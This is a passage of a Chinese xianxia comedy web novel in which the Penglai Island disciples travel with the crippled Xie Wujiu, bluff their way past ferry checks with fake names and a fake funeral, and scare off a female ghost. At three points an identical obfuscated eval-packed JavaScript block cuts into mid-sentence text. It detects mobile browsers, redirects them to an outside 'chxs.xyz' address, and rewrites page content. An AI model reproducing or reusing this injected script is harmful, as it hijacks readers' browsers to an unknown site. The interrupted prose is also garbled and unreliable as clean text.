不过由于昨夜明月坠地,今日春江渡口的人极多,都是来看热闹的,这就显得着急离开的人有些明显。 他的眼神慢慢看向一个穿着黑袍的修士和一个青衣女修,这个气息……他的眼中星芒闪动,这两人不就是黄真人和碧芳么? 黄真人自昨夜浮云阁突然炸了时,他就意识到不好,赶快整理行装跑路了。 他心中恼怒多年在密州的基业毁于一旦,却又庆幸自己回身找寻那东西时,只发现了一块黑黢黢的玩意,想必压在龙骨之上的那东西被炸成碳了,也算遵照主上的命令,彻底毁了那东西,心中稍感安慰。 谢无柩施施然站起来,他在浮云阁地下的九转夺灵阵中又寻得了一颗他一直找的东西,想来这人手里有更多他想找的东西,他决定跟着这个人走。 想到这里,谢无柩手指动了动,似乎在抚摸从玉柱顶拿到的真的轮回盘碎片,但他摸了个空,谢无柩蹙眉,怔愣在原地。 东西呢? “这位道爷,还请出示渡签。”鸳舟里的小修士走到站着不动的谢无柩面前。 所谓渡签,就是一条玉符,上端是红色,下端用法力写下渡者姓名及身份,谢无柩自然不可能用真实身份买渡签,他花了些灵石,让一个路人为他买了渡签。 他将玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931797|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符放到小修士手里,不着痕迹地观察已经上舟的黄真人,难道轮回盘碎片附了密法,又回到黄真人手里了? 检查渡签的修士一脸古怪地看着手里的玉签,心中狐疑,有心想叫谢无柩再出示一下身份文书,就听见旁边有人惊喜地喊了一声——“富贵!” 声音之大,渡口所有人都听到了。 听见这个声音的谢无柩浑身一僵,缓缓转头看去,果不其然是那个妖修,眼睛瞪得圆溜溜的,一脸喜出望外地看着他。 萧衔蝉从昨晚起就一直在找寻谢棺,几乎将白玉京寻了个底朝天,此时看到他安然无恙地在渡口,恰好与他们离城的方式相同,她高兴极了,正想喊“谢道友”时,又怕明月夜的人猜到身份,所以直接喊了二师兄为谢棺准备的假身份的名字。 她快步上前挽住谢棺的胳膊,生怕他又跑了。 春江渡的修士皱眉在他们二人身上来回打量,狐疑道:“道爷,为何这位道姑叫你富贵,但渡签上你的名字是南宫……铁蛋?” 好别致的名字,小修士嘴角抽搐。 谢无柩:…… 他方才一直留心黄真人的动作,也没仔细看自己渡签上写了什么,原来那个帮他买渡签的修士竟然有如此特别的名字么? 此刻,看向面前的小修士,谢无柩正要琢磨寻个什么理由,将名字之事糊弄过去,就听见萧衔蝉道:“因为富贵是他的字,铁蛋是他的名。” 谢无柩所有的话都卡在嗓子里,上不去下不来。 倒霉是他的命,他心想。 好熟悉的憋屈感,真是似曾相识,不久前他因她神来一笔就成了参加花魁之比的小白脸,如今因为她神来一笔,他又多了个如此接地气的名和字。 没事,再多几次他就习惯了。 谢无柩神情木然,看向远方,他真是倒霉透顶,才会遇到她。 萧衔蝉正为自己的机智暗自鼓掌,古人有字有号,这里的修士也是如此,她真是太聪明了,能在瞬间想出如此天衣无缝的解释。 谢无柩目光凉凉地扫过她的发顶,不知心中已经略过多少折磨人的手段。 萧衔蝉一无所察,继续道:“我们穷苦人,取名当然也想取个吉利的好名字,盼望他富贵,所以才字富贵啦。” 春江渡口的修士心中仍有些疑惑,他检查萧衔蝉的渡签,只见签上写着的名字是轩辕翠芬,他一脸一言难尽,这两个修士来自九州的哪个州?莫非那里的起名方式就是这么特别? 看到小修士纠结的模样,萧衔蝉突然挺起小肚子,满脸慈爱地摸了摸肚子里满满的鸡腿:“我们刚刚成亲不久,此番是因为我怀孕了,所以回我娘家报喜,相公,你说咱们的孩儿取个什么名好?要不叫小黑吧?” 谢无柩行走江湖多年,今日喜当爹,他高兴得面部表情都扭曲了,双目瞪圆,露出又惊又喜、不知所措的神情,幸好他直直看向萧衔蝉,旁人的人才没察觉出他神情有异。 “诶呦相公,别乐过头中风了,不叫小黑,叫小红、小绿也行啊!” 萧衔蝉假装没看见谢无柩的表情,在群聊中对他说:“谢道友就是太正直了,我们蓬莱岛的人戏都很多,随便什么时候来都能接上词。” 谢无柩:…… 一同排队等待上鸳舟的其他客人对这详尽的检查早就不耐烦了,听闻萧衔蝉还是个孕妇,个个都劝渡口修士快放人上舟安坐。 隐匿在人群中的黄真人是唯一一个和谢无柩共情的人,他认出萧衔蝉和谢无柩了,亦觉得十分离谱。 婴儿会攫取母体修为成长,怀孕的女修为了安全起见,大都轻易不出门,这位可到好,不仅出门不说,还和一群人毁了他在密州多年的精心布置。 想到此,黄真人不免咬牙切齿,幸而他放置在阵中龙骨上的东西被炸飞了,他在浮云阁出事后特意悄悄回去探查过,没找到那东西的踪迹,想来经过多年极阳龙骨镇压,那东西已经脆弱不堪,化成齑粉了吧。 也算他多年经营不白费,不然他一定让这对小鸳鸯劳燕双飞、幽明永隔。 “使者,那些毁了咱们在密州布置的人都来了。”黄真人身旁的碧芳小声道,“我看见那个与我有过口角的修士了……”她悄悄看了眼队尾的秦含玉,突然话音一顿,“为什么他变成女的了?” 她之前欲将卿鱼公子收入囊中时,他相好的男修来了,她虽然好美色,可也不喜欢弯掰直,就此作罢,可这个男修怎么这么快就变成女的了?难道九转夺灵阵连男人的那啥都要夺走吗? 碧芳想到此,冷汗涔涔,真人为了检查阵法,时常下去查看,难道真人也? 她斜眼看向黄真人□□,好像真人这几年来心情时常阴晴不定,难道就是因为…… 不愧是真人设置的阵法,敌我双杀,竟恐怖如斯! 碧芳敬佩又敬畏地看了一眼黄真人,黄真人懒得理他这个蠢笨的下属,翻了个白眼就进到鸳舟里面去。 秦含玉用易容术把自己变成一字眉、媒婆痣的丑模样,将小黑龙藏进卖光鱼干的麻袋里,然后缩小袋子塞到腰间,镇定自若地拿出渡签,渡口的修士在放走南宫铁蛋和轩辕翠芬后,终于看到一个虽然丑但名字正常的乘客,稍加检查就要放人。 秦含玉松了一口气,正要上舟,一直沉默的黑龙开始作妖了,他虽然被装在袋子里,但不安分,张大嘴巴,声嘶力竭地大喊:“娘——” 春江渡口一静,孩童喊娘的声音在江水上游荡,登舟的萧衔蝉和排队的金不禁都紧张地看向秦含玉,小修士眉头一皱,手一挥,招来几个渡口修士,不远处明月夜的修士也注意到了这边。 蓬莱岛众人意识到大事不好,暗自拿出武器,蓄势待发。 小修士拦住秦含玉,目光充满谴责:“这位夫人,孩子三尺以上买半票,三尺六以上要买全票的,你莫不是逃票了?” 秦含玉:…… 当日在浮云阁因逃票而丢掉的素质,如今全得捡起来。 眼见负责的修士要带她去给孩子量身高,为避免他们查出袋子里的小黑龙,秦含玉忍痛付了小孩全票,然后捂着脸,看似羞愧实则心痛地跑进鸳鸯舟里的舱房。 “天呐,为了逃票,竟然把孩子装进袋子里。”人群里窃窃私语。 “也就是咱们修士身体抗造,要是凡人,孩子都得闷死!”大家纷纷谴责。 有了藏孩子逃票的风波,春江渡的工作人员们很是痛心疾首地来了一波宣传:“先买票票,再登舟舟,一人一票票,文明上路路。” 萧衔蝉:噫,叠字字,恶心心。 好在师妹也安全上来了,踩着彩色的羽毛地面,萧衔蝉忙去秦含玉的舱房找她汇合,却听闻背后传来一声惊天动地的悲怆哭声—— “爹啊啊啊——你死的好惨啊啊啊——” 这声音很熟悉,萧衔蝉躲到柱子背后探出头,秦含玉悄悄掀起舱房窗子,两人齐齐看向渡口,金不禁一身麻衣,脸上扑了十斤的粉,看上去白森森的,跪在一副薄棺旁。 29. 汨罗坞(一) 金不禁昨晚弄到好几个假身份文书,唯独大师兄的身份比较难以解决。 这几天他们也看出来了,岛外八州歧视妖魔鬼修,虽然他们有师父点的敛灵符,旁人轻易看不出他们的原型,但大师兄因为在夺灵阵中待了太长时间,肉身幻影暂未能恢复,现在身体是骷髅样,极其明显。 众人原还担心大师兄如何离开密州,金不禁却不以为意,只道让他们放心,他有办法和大师兄安全离开。 萧衔蝉控制自己的面部肌肉,可眼角还是忍不住抽抽,难道这就是二师兄说的办法? 金不禁趴在棺材上:“我只想扶灵回乡,安葬老父,你们为何要拦我呜呜呜……” 小修士很是为难:“我们也不想拦,可这是棺材啊,它要上舟,我们怕其他客人看了不舒服。” 金不禁继续干嚎:“世风日下,世态炎凉,我只想父亲长眠于乡土,竟也不能么?父亲呜呜呜……” 人群中又响起议论声,修士对待生死很是淡然,没有落叶归根的执念,有人便道:“曾有诗云,埋骨何须桑梓地,人生无处不青山,你何不在密州寻一宝地,安葬令尊也就是了。” 金不禁:好有道理,谁会随身带棺材?一般人真没这么执着。 他脑子飞快地转动,突然灵光一闪:“我们家族对失怙者有额外补助,但得证明父亲真的逝世才行,我给家族长老出示了就医明细,葬礼记录,可他们说上述这些只能作为补充材料,无可奈何,我只得起棺,带父回乡。” 人群中有一修士感同身受:“不错不错,家族若是对族人有额外补助,其手续确实繁杂,我之前去领家族补助,还要证明我是我爹娘的儿子,不过手续虽然多,也是避免有人冒领。” 大伙想想这复杂的手续,个个深有同感。 金不禁再接再厉,声音百转千回:“我幼年时高烧不退,可山上没有郎中,父亲便背着我走了几百里的山路来到山脚的城镇里。 我还记得那夜好冷,雪好大,父亲的背却很温暖,为病中我没有胃口,爹爹便将家中仅有的几个铜板与我买橘子来吃,他对我说‘你就在此处不要动’…… 爹爹,孩儿就在此处,你睁开眼看看孩儿吧呜呜呜……” 好一篇优美范文《我的父亲》。 萧衔蝉和秦含玉:等金不禁回去后,金叔叔怕不是要拿尾巴抡死他。 纯朴的小修士和其他乘客被感动到眼泪汪汪。 修士们连鬼都不怕,何况只是一副棺材呢,大伙纷纷求情,渡口修士才放他和棺材上舟,只交代他不要带着棺材出来乱晃就行。 只是不出片刻,所有人都知道有一个小子,为了家族给的灵石,连他爹都不让入土为安。 谢无柩只想以后再不与这群人为伍,他脸偏向旁边,假装不认识这些人,准备悄悄溜走。 可惜事与愿违,他的美好期望总是因为萧衔蝉而落空,腰一紧,就被她带到房间里去了。 鸳鸯舟遮天蔽日的彩羽翅膀一挥,撩起磅礴的水雾,掠过浮云,向南飞去。 舟上的舱房并不大,几人挤在一个房间难免有些呼吸不畅,尤其当房间正中的棺材传来“刺啦刺啦”的挠棺材板的声音时,大家只觉得牙酸。 “这趟鸳鸯舟是前往饶益的,戌正落在九歌渡。”金不禁一进门就收了满脸悲戚,拿出自己打听好的消息。 萧衔蝉翻了翻师父给的地图:“距离关龠法会还有几个月,咱们从九歌渡再转搭青管筏前往关龠,时间很宽裕。” “饶益最大的门派是汨罗坞,明月夜不会伸手到汨罗坞的地盘去,咱们暂且安全。”花沸雪终于推开棺材板坐起来,声音温柔,“也罢,大家先回各自舱房稍作修整。” 一具骷髅从棺材里坐起来,这场景很是可怖,好在没有外人。 在大伙要离开时,金不禁急切道:“下舟的时候别忘了把房间里的澡豆、手巾等物带走,这可是咱们花了钱买的!” 这种事怎么可能忘,萧衔蝉挥挥手示意知道,拉着谢棺走了,现在她走到哪就把谢棺带到哪儿,生怕他趁人不注意又跑了。 饶益的风土与密州自是不同,鸳鸯比翼齐飞,柔软的云朵渐渐变成似纱幔般的青色云雾。 从云端往下看,只觉隔着一层青纱,雾里看花般,一座座青山氤氲着薄雾,川河在山与山之间流淌,吊脚楼样的竹屋依山而建,沿着江河,形成一条又一条的城镇、村落,青石板制的马齿桥间河水冲刷出汩汩白条。 与白玉京的温香软玉不同,饶益的几座城池看上去都很是幽肃雅正,听说饶益最大的门派汨罗坞专精儒修,想来这里的人都因此多几分书香气。 九歌渡口荡起一片涟漪,鸳鸯落下,互相用喙整理羽毛,萧衔蝉和师兄妹们在客栈落脚,只等明日最早的管青筏前往昆仑宗。 谢无柩多番寻找离去的机会无果,现下认命般地放弃离去,计划待到这群傻子去了昆仑宗参加关龠法会,忙起来后他再走。 为价格考虑,蓬莱岛一行人下舟后又驾云飞了一刻钟,来到附近一处名为青橘的小城,小城毗邻九歌江,城中有一条九歌的支流贯穿东西,当地人叫这条支流胭脂河,盖因河水上常有女儿家的脂粉香气。 夜黑风高,九歌江浪涛阵阵,胭脂河却静影沉璧,明月似玉盘一样,盛着清凌凌的水,沉在河里。 谢无柩躲在暗处,悄悄掀开窗子一角,看向无知无觉坐在外面的四人。 方才金不禁和花沸雪出门前特意检查他是否安睡,他凭借精湛的演技骗过他们,如今他却要听听这四人背着他要干什么。 萧衔蝉他们不着急睡觉,坐在客栈外面河畔的竹椅上,身边就是胭脂河,他们无暇欣赏夜河风景,个个神情严肃。 难道是担忧关龠法会?谢无柩心想,要么是蓬莱岛出了什么事? 萧衔蝉压低声音:“今天我们大家之所以相聚在这里,是为了我们共同的好朋友,谢棺,他的心理健康状况及未来治疗方案,根据他之前的行为,我合理怀疑他目前的心理状况已经发烂!发臭!” 谢无柩怀疑自己听错了,这几个字他都认识,怎么组合到一起他就听不懂了呢? 秦含玉拉住萧衔蝉:“师姐你不要端着茶盏走来走去了,我总有种你要泼人茶的感觉。” 萧衔蝉轻咳一声,连忙坐下。 “虽然谢棺最后被我找到了。”她皱着眉,手指点桌,“但我认为,他这次悄悄离开,已经反应了一些问题,或者说,反应了他心里的创伤。” 花沸雪点点头,森白的骷髅在兜帽里露出一点,从医者角度给出专业意见:“不错,我行医多年,这样的患者也曾见过,大都修士突逢大难,不得再入大道后,都会意志消沉,自我厌弃,更有甚者心怀死志,何况谢道友天赋卓绝,本有可能得道飞升,如今却与凡人无异,难保他不会更绝望。” “修士灵根断绝,经脉破碎,比之普通人断腿断手更难承受。”金不禁道,“还记得咱们家隔壁岛上,有个鲛人与深海凶兽搏命时丢了半条尾巴,后来几次三番想寻死。” 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946222|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含玉也想起来这件事:“那个鲛人开始时想脱离族人,觉得自己是族人拖累,这不就与谢道友如今一模一样?” 大伙想起谢道友时而望着他们,神情露出似好奇,似费解的模样,如今看来,可不就是在羡慕他们还能修行,自己却身受重伤,无可奈何。 听到此处,谢无柩突然想到,莫非这些人觉得他已是废人,不想再让他跟着?想到此他的目光瞬间充满期待,只觉得自己的苦日子要到头了,然而下一秒,他的希望就被打碎了。 花沸雪道:“我们以后说话得注意点,什么谢道友你以前是怎么修道的,谢道友你能不能用这个法术,诸如此类的话千万不能再说,也不要过度保护,免得谢道友越发心中郁结。” 萧衔蝉补充道:“还有,谢棺现在很脆弱,为了不让他继续消沉下去,日后我们一定要多多鼓励他,帮他重塑志气!” 谢无柩听了这许久,只觉得无语,他第一次知道自己竟然是个脆弱的人,若是从前有人这般轻慢于他,他定要这人知道他好不好相与。 但是为何今夜听这些蠢货言语对他诸多不敬的猜测,他一点也没有怒火中烧的感觉,反而有种胸口一点一点被水灌满的错觉。 不不不,他肯定在生气,谢无柩捂着胸口,皱眉躺回榻上,只是跟这些蠢货在一起久了,他的怒气也变得反应慢半拍了。 第二日清晨,他穿着一身白衣下楼,在楼梯上便看见大堂桌子围坐的几人。 见他下楼,萧衔蝉几人好像看见大美人的流氓,眼睛都亮了。 谢无柩与他们共享群聊,听见他们一个个传音入密—— “准备好了吗?” “我准备从衣食住行各个角度全方面进攻,绝对没问题!” “谢道友一定会感受到我们春风般的温暖。” “他要是感动哭了怎么办?” 谢无柩脚步微顿,看来他们要帮助他这个脆弱的修士重塑志气了,他好整以暇,不紧不慢地向他们走去。 只是,为什么他有种不祥的预感呢? 萧衔蝉一个站起身,将谢无柩拉到长板凳上与自己同坐,语气极其夸张:“天呐,谢棺你今天早上自己穿的衣服吗?真厉害!” 她夸得真心实意,刚来到修真界的时候,面对破破烂烂、缝补了不知多少回的衣服,萧衔蝉的确不会穿,毕竟那件衣服连正反都无法分辨,现在夸起谢棺来,萧衔蝉仿佛一个看着小朋友自己穿好衣服的幼教,骄傲极了。 谢无柩:…… 这就是他们帮他重塑志气的方法吗?好朴实。 等等,便是想通过贬低自己捧高他人,也无需将自己描述成一个智障啊!这个妖修如此自轻,想来还有其他目的。 谢无柩突然想到南山那个修士离开时说的话,莫非……这个妖修真的痴恋于他吗?痴恋到不惜贬低自己,也要仰望于他? 看着萧衔蝉亮晶晶的眼睛,谢无柩不知道该怎么办,耳根浮出一片红晕,看来得赶紧去昆仑宗,只有她忙起来,没时间看着他,也就渐渐息了对他的心思了。 坐下准备吃饭,刚挟起一片笋,萧衔蝉夸张的语气又传来了:“谢道友的筷子用得真好!” 谢无柩捏起筷子的手一抖,这种“妈妈为你骄傲”的语气是怎样啊! 客栈里同在一楼用早饭的修士们个个用余光看他们这桌。 谢无柩不祥的预感越来越明显,他加快吃饭速度,一定要在他们干出更丢人现眼的事前,想法子阻止他们那个可笑的帮他重塑信心计划。 30. 汨罗坞(二) 吃完饭,大家上云前先去解决生理问题,谢无柩自从修为尽无后,不得不像个低阶修士和凡人一样,每日都需吃饭喝水,自然也需要前往五谷轮回之处。 但今天他去茅房只是为了思考出一个对策——如何叫那四个傻子放弃“拯救”他? 谢无柩在茅房里待了许久都没想出对策,蓬莱岛的人犟得和牛一样,只要他们认准的事,便是成百上千人阻拦,他们也要干。 这倒叫他无处下手。 谢无柩像个沧桑的中年男人,叹了口气,这群人现在真变成了一个烫手山芋,叫他不知如何是好。 待谢无柩出来,脚步刚迈向前一步,看清厕所外的景象,顿时眼前一黑。 只见蓬莱岛四人列成一队,见他出来,齐齐为他鼓掌。 萧衔蝉看谢无柩脸色愈加沉郁,以为他还在自怨自艾,绞尽脑汁道:“谢无柩你太厉害了,都能独自……” 上茅厕三字未出口,萧衔蝉就被谢无柩捏住嘴,嘴唇被压成鸭子嘴,萧衔蝉瞪大眼睛,呜呜几声——才从茅厕出来,不要碰我! 周围人看见这一幕,个个眼神古怪地打量谢无柩,现在年轻道侣之间的相处他们是越来越看不懂了,这么个年轻英俊的小伙子,怎么吃饭上厕所都要他的道侣夸奖督促呢? 谢无柩黑了,脸黑了。 他不想再等什么离开的最佳时机,如果他现在不走,早晚会被她气死! 谢无柩以袖遮面,迈向前方的脚步九十度右转,假装他们口中的谢道友不是自己,他觉得自己从没走得这么快过。 萧衔蝉在后面招呼师兄妹们:“谢道友害羞了,我们快点跟上去!” 谢无柩脚步踉跄一下,害羞?见鬼的害羞! 花沸雪却有些别的见解,他悄悄道:“妙妙,你夸得太刻意了,谢道友肯定察觉到咱们的用心了,我们得做的天衣无缝才行,不如以后遇到什么难事,就让谢道友来相帮,不留痕迹地鼓励他。” 萧衔蝉紧张道:“我真的做的太明显了吗?” 大家齐齐点头,何止明显刻意,简直是变态了。 萧衔蝉虚心接受意见,改变计划,摩拳擦掌,等待下一次夸奖谢棺的机会。 驾云前往渡口,横跨青橘城时,谢无柩还能看见站在下面不远处,对他指指点点的修士,时不时一两句话飘入耳中—— “姑娘找了一个有脑疾的道侣。” “如果不提醒他吃饭上厕所,他就会忘记。” “天呐,那个姑娘真是深爱她的道侣啊!” 萧衔蝉他们听见云下越来越模糊的话,都很是惊讶—— 金不禁:“咱们昨晚投宿的客栈里还有这样一对苦命鸳鸯吗?” 秦含玉:“我怎么都没见过?” 花沸雪:“想来他们不愿忍受旁人异样的眼光,躲在房里不出来吧。” 萧衔蝉:“要是见到他们,也可以捐一些灵石,帮帮那个苦命的姑娘。” “苦命的姑娘”萧衔蝉坐在云上一脸同情。 “有脑疾的道侣”谢无柩坐在云上面无表情。 好像自从遇见他们,他的名声就一直朝着诡异的方向大跌特跌。 清晨的饶益上空有些冷,越靠近九歌江,青色的雾气就越浓重,像湿乎乎的棉花般从他们身边飘过。 以萧衔蝉来看,这里的青雾比现代最严重的雾霾天气还要严重,能见度不足二十米,好在修士们五感灵敏,这点雾气也不影响他们驾云。 许是饶益最大的门派汨罗坞多是儒修的缘故,这青雾里也夹杂着纸与墨的香气。 缕缕青云和丝丝墨香,原本是极文雅的晨景。 萧衔蝉忽然皱眉:“不太对劲,我为什么听不到周围的声音了?” 他们能透过雾气看清前方,但耳畔却极其寂静,好像早起的青橘城一下子陷入死寂中,他们被裹在一团厚重的棉花里,连呼吸声也听不到,方向不明。 金不禁试图用火破开重重迷雾,然而被烈烈明火驱散的青雾很快又重聚一团。 花沸雪森白的骨头上沾上湿气,他突然警惕起来:“不好,我感受到了极其凶戾的鬼气!这城中有厉鬼!” 大家瞬间戒备起来。 萧衔蝉第一反应便是将尾巴一甩,把谢棺裹得严严实实。 谢无柩这时候倒希望她能如同昨夜说的那样,不要对他过度保护,现在自己这副小熊猫卷的模样,着实不成体统! “戾——” 几乎刺破耳膜的凄厉声音突然响起,打破诡异的寂静,穿过云雾,将仿佛地狱恶鬼般的尖叫传到所有人耳朵里,好像这一方天地中只有这只鬼,清雅的青色云雾中渐渐染上丝丝黑雾。 “不好,这厉鬼怕是要伤人!”花沸雪有些急道,“咱们得去救人!” 修士以拯救天下苍生为己任,这是无法心道君对每个蓬莱弟子自幼的教导。 花沸雪此时着急无法迅速找到这厉鬼,生怕去迟了,有人丧命。 萧衔蝉黑乎乎的发顶弹出两只尖耳朵,耳尖上的聪明毛扭来扭去,她歪着脑袋仔细听,“别着急,既能听到声音,我就能通过声音定位。” 驶向九歌江的小云转向相反的方向,向青橘城西飞去。 只见贯穿城镇的胭脂河一旦流出城外,河面愈加宽广,在两侧青山下奔流不止,大半青山和竹楼被浓重到诡异的云雾遮住,什么也看不清。 唯有河中央水渚上有一人影,这人头顶菩萨戒,身着百衲衣,竟是一年轻和尚。 烟尘斗乱、天昏地暗中,一女鬼从天上黑云探出半个身子,黑发覆面,脸色惨白,唇却红得好似才喝过鲜血般,令人心惊。 小和尚半步未退,不动如山。 “呵……”女鬼的声音刻意娇柔,“小禅师,我美吗?” 女鬼突如其来的发问,让蓬莱岛几人愣住了,这好像与他们想象中剑拔弩张的情形不符啊。 小和尚双手合十,念了一声佛号:“施主为人丑黑,遮佛前光明。” 女鬼娇柔面目立刻一变,嘴唇向两边扯去,几乎扯到耳朵,露出尖利牙齿,一脸凶相,倏尔,这可怖面容却又收回,轻笑出声。 少女的笑声原该是银铃般,听了让人心生美好,然而这女鬼的笑声恰似刀片刮铁,令人浑身起鸡皮疙瘩。 “呵,小禅师,便是你这般说,我也是要纳你进府的。”女鬼突然一个俯身,从黑云中探出更多身躯,似蛇一般绕到和尚背后,深深吸了一口气,“你们年轻男孩子的元阳之气我最是喜欢,小禅师,跟了我,我保你喝香吃辣,咱们一起做对西天欢喜佛可好?” 小和尚一句话未说,只阖眼,单手立掌,另一手捻佛珠。 眼看他要被女鬼卷吧卷吧,带回不知在哪的鬼宅,萧衔蝉他们着急不已,正待冲上去救下小和尚,却被大师兄拦下。 “此鬼道行不浅,即便是我也难以应对,你们不可轻举妄动。”花沸雪黑兜帽下的骷髅脸严肃得很,却也没让金不禁息了心思。 “鬼最怕阳火。”金不禁道,“不如我绕到那鬼背后,咱们再两面夹击,便是有通天本事,到时她也动弹不得了。” “可惜咱们的爆炸符快用完了,不然炸了她。”秦含玉暴躁道。 他们躲在云上,群聊里说得热闹,个个蓄势待发,却突然觉得周身寒意上涌,金不禁第一个反应过来,右手掐火诀,然而一小团火苗只微弱地闪了闪,便化作青烟消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949043|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逝在他的指尖。 女鬼修为不浅,在火焰初生之际便觉察到。 所有人仿佛被猛兽盯上般,一动不敢动。 循着寒意的来源看去,只见那女鬼漆黑腐烂的眼眶正对准他们。 “青橘城何时来了这么些标志的小修士?”女鬼声音轻柔,微微裂开嘴角,“甚好,你们是来与我做夫君的么?” 萧衔蝉他们还不知道自己是怎么被发现的,此时也顾不得想这个,只疯狂思考该怎么脱身的同时还能保住那个被女鬼看上的小和尚。 见他们沉默不语,女鬼的嘴角裂得更大了,声音呕哑嘲哳:“看来你们不是与我做夫君的,难不成,和那些酸秀才一样,是来抢我夫君的!” 最后一个字落下,女鬼浑身的鬼气已然大盛,仿佛暴雨之前的乌云般翻滚着,即刻就要朝他们冲去。 花沸雪传音入密:“此鬼的修为至少元婴,你们不是对手,待会你们带着和尚先逃,我来拖住她。” 秦含玉焦急:“大师兄,你有几成把握?” 金不禁道:“鬼为阴,火为阳,我得留下!” 萧衔蝉看着师兄妹们的争执,她不想他们中任何一人有受伤死亡的风险,电光火石间,突然眼睛一亮:“别吵了,我有一个主意,你们配合我!” 金不禁不解其意,但命悬一线时他也不敢转头看师妹,只希望师妹说的那个主意不会太冒险。 谢无柩却又心生不详预感,只觉得但凡她的主意,大抵都不太靠谱。 萧衔蝉走到所有人之前,站在云头大喊:“我们不是来抢你夫君的!” 女鬼冷笑,阴风阵阵:“哼,你们修士的这种话我听得多了,不就是怕我带走这和尚?你们想救他!” “诶哟喂!”萧衔蝉夸张地跺脚皱眉:“这位美女姐姐,我们是为了救你而来的!” 在场的几人一鬼俱是一怔。 萧衔蝉继续道:“我们是九州妇女保护协会的修士,妇女保护协会,顾名思义,是为了保护九州所有妇女合法权益而存在的公益组织。” 在场的几人一鬼:…… 那鬼脸上的腐肉都震惊到掉下来一块。 怎么每个字他们都能听清,但组合到一起他们却不明白这句话是什么意思呢? 女鬼裂到耳朵的嘴角抽了几下:“为了……我?” “正是!”萧衔蝉一脸真诚,“美女姐姐,你还不知道吧,你想带回去的小和尚,他……他……他有龙阳之好!只能对男人有反应,你若是与他成亲,可不就耽误了幸福生活了!” 女鬼震惊地看向面前的和尚,没有眼球的黑漆漆眼眶透露出迷茫来,可倒底这成百上千年的修为不是白来的,她抓住重点:“你们怎么知道他有龙阳之好?” 萧衔蝉义正言辞:“当然是因为他的前夫找到我们说的呀!他的前夫就是——” 她拧身,回头看身后的三个男人,点兵点将,骑马打仗,点到是谁就!是!谁! “就是这位!”萧衔蝉将食指对准谢棺,“你心心念念的小和尚在外做零,前夫就是他!” 江水涛涛,云雾冥冥,谢无柩一双好看的眼睛失去神采,神情木然,他说什么来着?她的主意大抵都不靠谱,嗯,一点也不意外会是这种场景呢,他已经习惯了呢。 女鬼呆愣半晌,看向面前容貌不俗的和尚,若是她还有瞳孔的话,此刻一定会瞳孔地震。 然而此刻和尚比她还要瞳孔地震,他的眼睛快要从眼框掉出来了,好像第一次知道自己正在为爱做零似的。 倏忽之间,女鬼一个黑蛇归穴,从半空中探出身体的洞钻了回去,仿佛背后有鬼在追似的快,只余丝丝戾气和那个江渚之上的小和尚。 31. 汨罗坞(三) 黑雾消散,此间寂静无声,良久,被重重的呼气声打破寂静。 萧衔蝉他们在女鬼离去后,好一会才松了一口气,瘫坐在地,真打起来的话,他们一定不是对手,即便是大师兄也免不得伤敌一千自损八百,能靠嘴皮子躲过危险,今天真是走了大运了。 他们落下小云,准备带和尚速速离开这个是非之地。 然而在场的某人不这么想。 “这位道姑,你怎能如此!”小和尚跌足拍手,懊恼不已,显是很不高兴的样子。 萧衔蝉眉毛高高扬起,以为他是不高兴自己被称为断袖:“命重要还是性取向重要?我方才若不这么说,你就被那女鬼带走了!为了自己小命着想,偶尔弯一下难道不可以?” 小和尚唉声叹气:“贫僧就是希望嫁给那女鬼,故而才来此地!” 萧衔蝉瞪大眼睛:“没想到你是这样的和尚!” 且不说人和鬼之间阴阳相隔,有种族之差,就说这人是个和尚,出家人戒律之一,不是有禁欲这一条吗? 不等和尚说些什么,胭脂河四周的青云散去,平静的河流两畔零零散散伫立吊脚楼,竹门打开,走出许许多多穿弹墨白绫长衫的修士。 寂寥的山河之间霎时间多出许多原本隐匿着的人。 萧衔蝉他们愣住了。 这是怎么回事? 白绫长衫中为首的一位向他们走来,此人身形颀长,头戴玉冠,冠中横插一支毛笔,面貌如玉,一派书生气,行走间长衫上的泼墨诗词似要飞起。 来人对他们拱手作揖:“在下汨罗坞祝墨之,见过诸位道友。” 在蓬莱岛一行人怔愣时,祝墨之将原委慢慢道来。 原来饶益五百年前出现了个修为高深的厉鬼,汨罗坞连同饶益其他门派都出手剿灭过,然每每这鬼明明三魂七魄俱散于他们面前,却每过一百年,又会卷土重来,奇诡非常。 这鬼今年七月初便在青橘城兴风作浪,她的鬼仆四处找寻体貌端正的男子,美名其曰带他们参加“鹊桥会”,实则是将强行绑来的儿郎进行挑选,然后将选好的“夫君”带回鬼宅。 鬼仆放出话,要挑一百名男子。 